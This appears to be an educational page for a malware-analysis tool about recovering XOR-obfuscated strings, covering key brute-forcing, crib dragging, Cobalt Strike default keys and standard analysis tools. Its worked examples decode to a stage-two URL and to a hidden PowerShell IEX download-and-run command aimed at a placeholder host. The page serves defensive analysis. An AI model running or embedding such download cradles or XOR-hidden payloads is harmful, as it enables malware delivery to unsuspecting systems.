XOR obfuscation hides a string by combining its bytes with a key byte, which turns a URL or a command into a blob that is usually carried as hex or base64. The same operation reverses it, so the text comes back once the key is known, and for a single-byte key the key can be recovered from the sample itself. KlaroSkope reverses the layers statically and returns the recovered text with any URL or host it contains, treating the payload as data rather than running it.
Search for the XOR key
Runs in your browser. The text you paste is not uploaded.All 256 single-byte keys are tried and the results ranked on whether they read as something. The top five are listed so you can judge them yourself rather than trust the ranking.
Worked examples
Synthetic samples. Each input decodes to the output shown, and the outputs are checked against the live engine before publication.
Example 1: Hex blob hiding a stage-two URL
29353531327b6e6e2439202c312d246f222e2c6e3235202624736f23282fhttps://example.com/stage2.binThe common case in a loader: a short hex string whose bytes are one XOR away from the address of the next stage. The key is not written anywhere in the sample.
Example 2: Hex blob hiding a PowerShell download line
253a223027263d303939757822753d3c3131303b757836751c100d7d1b3022781a373f303621751b30217b02303716393c303b217c7b313a223b393a34310621273c3b327d773d212125266f7a7a302d34382539307b363a387a34777cpowershell -w hidden -c IEX(New-Object Net.WebClient).downloadString("https://example.com/a")A whole command rather than a single string. Recovering it gives both the URL and the execution method, which is what a detection rule needs.
Why XOR is the obfuscation attackers reach for
XOR combines two values bit by bit and returns 1 where the bits differ. Two properties make it attractive to a malware author. It is its own inverse, so the same short routine both hides and reveals the string and there is no second function to write. And it is one instruction, so it costs almost no runtime and adds little recognisable code to the sample. Applied with a single key byte to a URL, the result is a run of bytes with no readable letters, which is then carried as hex or base64 because arbitrary bytes do not survive being pasted into a script file. This is encoding rather than encryption: there is no key exchange and no cryptographic strength behind it. Its purpose is to defeat string matching and casual reading, and against that it works well enough to stay in constant use.
ONE BLOB, THREE CANDIDATE KEYS
------------------------------
key 0x2a (23 of the 30 bytes are control characters) discard
key 0x13 :&&"!h}}7*3?">7|1=?}!&357`|0;< discard: printable, but text of no kind
key 0x41 https://example.com/stage2.bin keep: reads as a URL
Printable is not the test. Reading as something is the test.The key is the interesting part, because a sample rarely states it. A single key byte has 256 possible values, one of which (0x00) returns the input unchanged, so 255 of them actually transform it. That is a small enough space to try in full; the work is not the trying but the deciding, since each candidate produces a result and only one of them is the text. Scoring the candidates on what plausible text looks like (character frequency, the presence of printable runs, whether a URL scheme or a known command appears) is what separates the answer from 254 pieces of noise. Multi-byte and repeating keys behave differently. A random key as long as the plaintext does not yield to a search at all. A short repeating key is approached by establishing the key length first, using coincidence counting or Hamming-distance scoring across candidate lengths, and then treating each key position as its own single-byte problem. A key that is itself a word or a path often falls faster to crib dragging, where a guessed fragment of plaintext such as http or MZ is slid along the blob to expose the key bytes underneath it. A practical shortcut worth knowing is that a run of null bytes in the original, which is common in padded structures, leaks the key directly, because a null XORed with the key is the key.
Working through an XOR blob safely
- Establish the transport layer first. The blob is usually hex or base64 wrapping the XORed bytes, so decode that layer before searching for a key. Running a key search against base64 text rather than the bytes underneath it yields noise and looks like a failed decode.
- Judge a candidate by content, not by whether it is printable. A wrong key can yield printable characters, so the test that matters is whether the result reads as something: a URL, a path, a command, a recognisable header.
- Treat the recovered text as data. Decoding a command does not mean running it, and a recovered stage-two URL is for blocking and for controlled retrieval rather than for pasting into a browser.
- Keep going after the first success. An XOR layer often sits over a second encoding, so a decode that produces another blob has done its job and left you one layer further in.
For detection work the recovered string is worth more than the blob it came from, but the blob has value too. A key byte that stays constant across samples in a campaign is a usable signature, and so is the wrapper shape: the length of the hex run, the way the bytes are stored, the routine that applies the key. Writing a rule against the decoded URL alone tends to age badly, since infrastructure rotates faster than the builder does. The XOR key epidemic covers that pattern in more depth.
A key that does not change is a signature
Some builders ship a default key and most operators leave it alone, which turns the key into a durable detail. Cobalt Strike is the documented example: its beacon configuration is obscured with a single hardcoded byte, 0x69 in version 3 and 0x2e in version 4, a fact independent teams have reported and built tooling around (SentinelLabs, 11 May 2020; NCC Group, 25 March 2022). Config extractors try those two before falling back to all 256. That is the general lesson in miniature: the recovered URL expires when the infrastructure rotates, and the key byte tends to outlive it.
One structural weakness is worth committing to memory, because it turns a search into a read. A null byte combined with the key returns the key, so any run of padding in the original leaks it directly, which is why padded headers and structure-heavy formats give up their keys so readily. Sikorski and Honig cover it in the data-encoding chapter of Practical Malware Analysis (2012) along with the countermeasure some builders adopt, a null-preserving variant that skips the byte when the plaintext is a null or equals the key.
The standard tools, and what each is for
| Tool | Origin | What it does |
|---|---|---|
| XORSearch | Didier Stevens | Searches a file for a string under XOR, ROL, ROT or SHIFT, trying keys 0 to 255 |
| XOR Brute Force | CyberChef, GCHQ | Enumerates keys in the browser, with an optional crib to filter; key length is capped at 2 |
| bbcrack, balbuzard | Philippe Lagadec | Brute-forces XOR, ROL and ADD and scores for patterns of interest |
| xortool | hellman | Estimates repeating-key length from character repetition, then solves each position |
| FLOSS | Mandiant | Recovers obscured strings from binaries by emulating the routine that decodes them |
Two of those deserve a note. CyberChef's brute force is capped at a two-byte key because it runs in the page, so a longer repeating key needs xortool or an equivalent to establish the length first. And FLOSS is not a key search at all: it emulates the decoding routine inside a binary, which is the right tool when the key is computed rather than stored, and the wrong one for a loose hex blob.
The recovered string ages out when the infrastructure rotates. The routine that applies the key does not, so submit the whole file when you intend to write a rule rather than block one address.
Frequently Asked Questions
What is single-byte XOR obfuscation?
Can XOR be broken without the key?
Is XOR encryption?
Why does my XOR decode return noise?
Should I write detection rules against the decoded string or the blob?
Continue Learning
Ready to decode?
Paste the script or upload the file. Multi-layer samples continue past this technique into whatever comes next.
Open the analysis console